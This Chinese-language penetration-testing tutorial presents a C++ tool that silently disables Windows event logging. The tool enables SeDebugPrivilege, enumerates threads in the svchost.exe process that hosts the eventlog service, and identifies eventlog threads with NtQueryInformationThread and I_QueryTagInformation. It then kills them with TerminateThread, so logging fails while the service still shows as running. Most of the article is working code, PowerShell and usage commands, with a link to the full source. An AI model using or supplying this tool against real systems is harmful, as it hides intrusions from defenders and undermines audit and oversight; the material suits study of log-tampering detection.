利用API NtQueryInformationThread和I_QueryTagInformation實現對Windows日誌監控的繞過
導語:使用API NtQueryInformationThread和I_QueryTagInformation獲取線程對應的服務,關閉對應日誌記錄功能的線程,能夠破壞日誌功能,並且Windows Event Log服務沒有被破壞,狀態仍為正在運行。
0x00 前言
在上篇文章《滲透技巧——Windows日誌的刪除與繞過》中提到一個繞過Windows日誌監控的思路:使用API NtQueryInformationThread和I_QueryTagInformation獲取線程對應的服務,關閉對應日誌記錄功能的線程,能夠破壞日誌功能,並且Windows Event Log服務沒有被破壞,狀態仍為正在運行。本文將要對其詳細介紹,分享使用c++在編寫程序上需要注意的細節。
0x01 簡介
本文將要介紹以下內容:
程序自身提權n遍歷進程中的所有線程n根據線程tid,獲取對應的進程pidn根據線程tid,獲取對應的服務名稱n結束線程n
0x02 程序實現
開發工具: VS2012
開發語言: c++1、定位eventlog服務對應進程svchost.exe的pid
powershell代碼如下:
Get-WmiObject -Class win32_service -Filter "name = eventlog" | select -exp ProcessIdn
通過回顯能夠找出進程svchost.exe的pid
2、程序自身提權,以管理員許可權執行
因為進程svchost.exe為系統許可權,所以對其線程進行操作也需要高許可權,因此,程序需要先提升至管理員許可權
提權至管理員許可權的代碼如下:
BOOL SetPrivilege() n{ n HANDLE hToken; n TOKEN_PRIVILEGES NewState; n LUID luidPrivilegeLUID; n if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID)) n { n printf("SetPrivilege Errorn"); n return FALSE; n } n NewState.PrivilegeCount = 1; n NewState.Privileges[0].Luid = luidPrivilegeLUID; n NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL)) n { n printf("AdjustTokenPrivilege Errron"); n return FALSE; n } n return TRUE; n}n
3、遍歷進程中的所有線程
定位進程svchost.exe後,需要遍歷該進程中的所有線程,然後進行篩選
根據進程pid遍歷其子進程的代碼如下:
BOOL ListProcessThreads(DWORD pid) n{ n HANDLE hThreadSnap = INVALID_HANDLE_VALUE; n THREADENTRY32 te32; n hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); n if (hThreadSnap == INVALID_HANDLE_VALUE) n return(FALSE); n te32.dwSize = sizeof(THREADENTRY32); n if (!Thread32First(hThreadSnap, &te32)) n { n printf("Thread32First");n CloseHandle(hThreadSnap); n return(FALSE); n } n do n { n if (te32.th32OwnerProcessID == pid)n printf("tid= %dn",te32.th32ThreadID); n } while (Thread32Next(hThreadSnap, &te32)); n CloseHandle(hThreadSnap); n return(TRUE); n}n
獲取進程中的所有線程tid,如下圖
4、判斷線程是否滿足條件
篩選出Windows Event Log服務對應的線程,方法如下:
根據線程tid,獲取對應的服務名稱
可參考以下鏈接:
HOWTO: Use I_QueryTagInformation文中提到,需要使用三個API:
NtQueryInformationThread:
來自ntdll.dllndll路徑:%WinDir%System32n
使用IDA對其驗證,查看ntdll.dll的導出函數,能夠發現API函數NtQueryInformationThread,如下圖
具體使用方式:
typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);nFN_NtQueryInformationThread pfnNtQueryInformationThread = NULL;npfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread");n
I_QueryTagInformation:
來自advapi32.dllndll路徑:%WinDir%System32下n
使用IDA對其驗證,查看advapi32.dll的導出函數,能夠發現API函數I_QueryTagInformation,如下圖
具體使用方式:
typedef ULONG (WINAPI* FN_I_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);nFN_I_QueryTagInformation pfnI_QueryTagInformation = NULL;nHMODULE advapi32 = LoadLibrary(L"advapi32.dll");npfnI_QueryTagInformation = (FN_I_QueryTagInformation)GetProcAddress(advapi32, "I_QueryTagInformation");n
NtReadVirtualMemory:
可使用ReadProcessMemory代替
更為完整的代碼實例可參考如下鏈接:
svchost ? ??? ?? ????.該文章分享了一段代碼,提供進程pid和線程tid,能夠獲取對應的服務名稱
當然,我們需要對該代碼作改進,不需要提供進程pid,只需要線程tid就好
根據線程tid獲取對應進程pid,代碼如下:
BOOL QueryThreadBasicInformation(HANDLE hThread)n{n typedef NTSTATUS (WINAPI* FN_NtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);n FN_NtQueryInformationThread pfnNtQueryInformationThread = NULL;n pfnNtQueryInformationThread = (FN_NtQueryInformationThread)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtQueryInformationThread");n THREAD_BASIC_INFORMATION threadBasicInfo;n LONG status = pfnNtQueryInformationThread(hThread, ThreadBasicInformation, &threadBasicInfo,sizeof(threadBasicInfo), NULL);n printf("process ID is %un",threadBasicInfo.clientId.uniqueProcess); n printf("Thread ID is %un",threadBasicInfo.clientId.uniqueThread); n return TRUE;n}n
測試程序能夠通過tid獲取相關進程pid,運行如下圖
至此,我們能夠根據提供的線程tid判斷出對應的進程pid和服務名稱
接著,需要添加判斷功能,篩選出eventlog服務,進行下一步操作:結束線程
5、結束線程
同結束進程類似,需要提供進程tid,代碼如下:
void TerminateEventlogThread(DWORD tid)n{n HANDLE hThread = OpenThread(0x0001,FALSE,tid);n if(TerminateThread(hThread,0)==0)n printf("--> Error !n");n elsen printf("--> Success !n");n CloseHandle(hThread);n}n
綜上,將所有功能集成到一個程序中,使用時只需要提供進程svchost.exe的pid就好
完整源代碼下載地址:
https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/WindowsEventLogBypass.cpp0x03 實際測試
獲取進程svchost.exe的pid:
Get-WmiObject -Class win32_service -Filter "name = eventlog" | select -exp ProcessId
獲得pid為916
運行WindowsEventLogBypass.exe,添加pid
參數如下:
WindowsEventLogBypass.exe 916
實際測試,如下圖
成功結束線程,日誌功能失效,如下圖
0x04 小結
本文介紹了使用c++編寫程序繞過Windows日誌的技巧,同Halil Dalabasmaz@hlldz分享的Powershell工程Invoke-Phant0m結合學習,希望能夠幫助大家更好的了解這項技術。
本文為 3gstudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載,如若轉載,請聯繫嘶吼編輯: 利用API NtQueryInformationThread和I_QueryTagInformation實現對Windows日誌監控的繞過 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※國內研究人員發現GMR-2漏洞,可實時解密衛星電話通訊
※Appleby 被黑,世界級財富大鱷財務信息泄露
※銀行木馬Retefe變種通過「永恆之藍」漏洞感染多國銀行網站
※如何在IE/Edge瀏覽器中巧妙地傳輸HTA文件?
※踏雪無痕——對新型無文件後門 JS_POWMET 的簡單分析
TAG:信息安全 |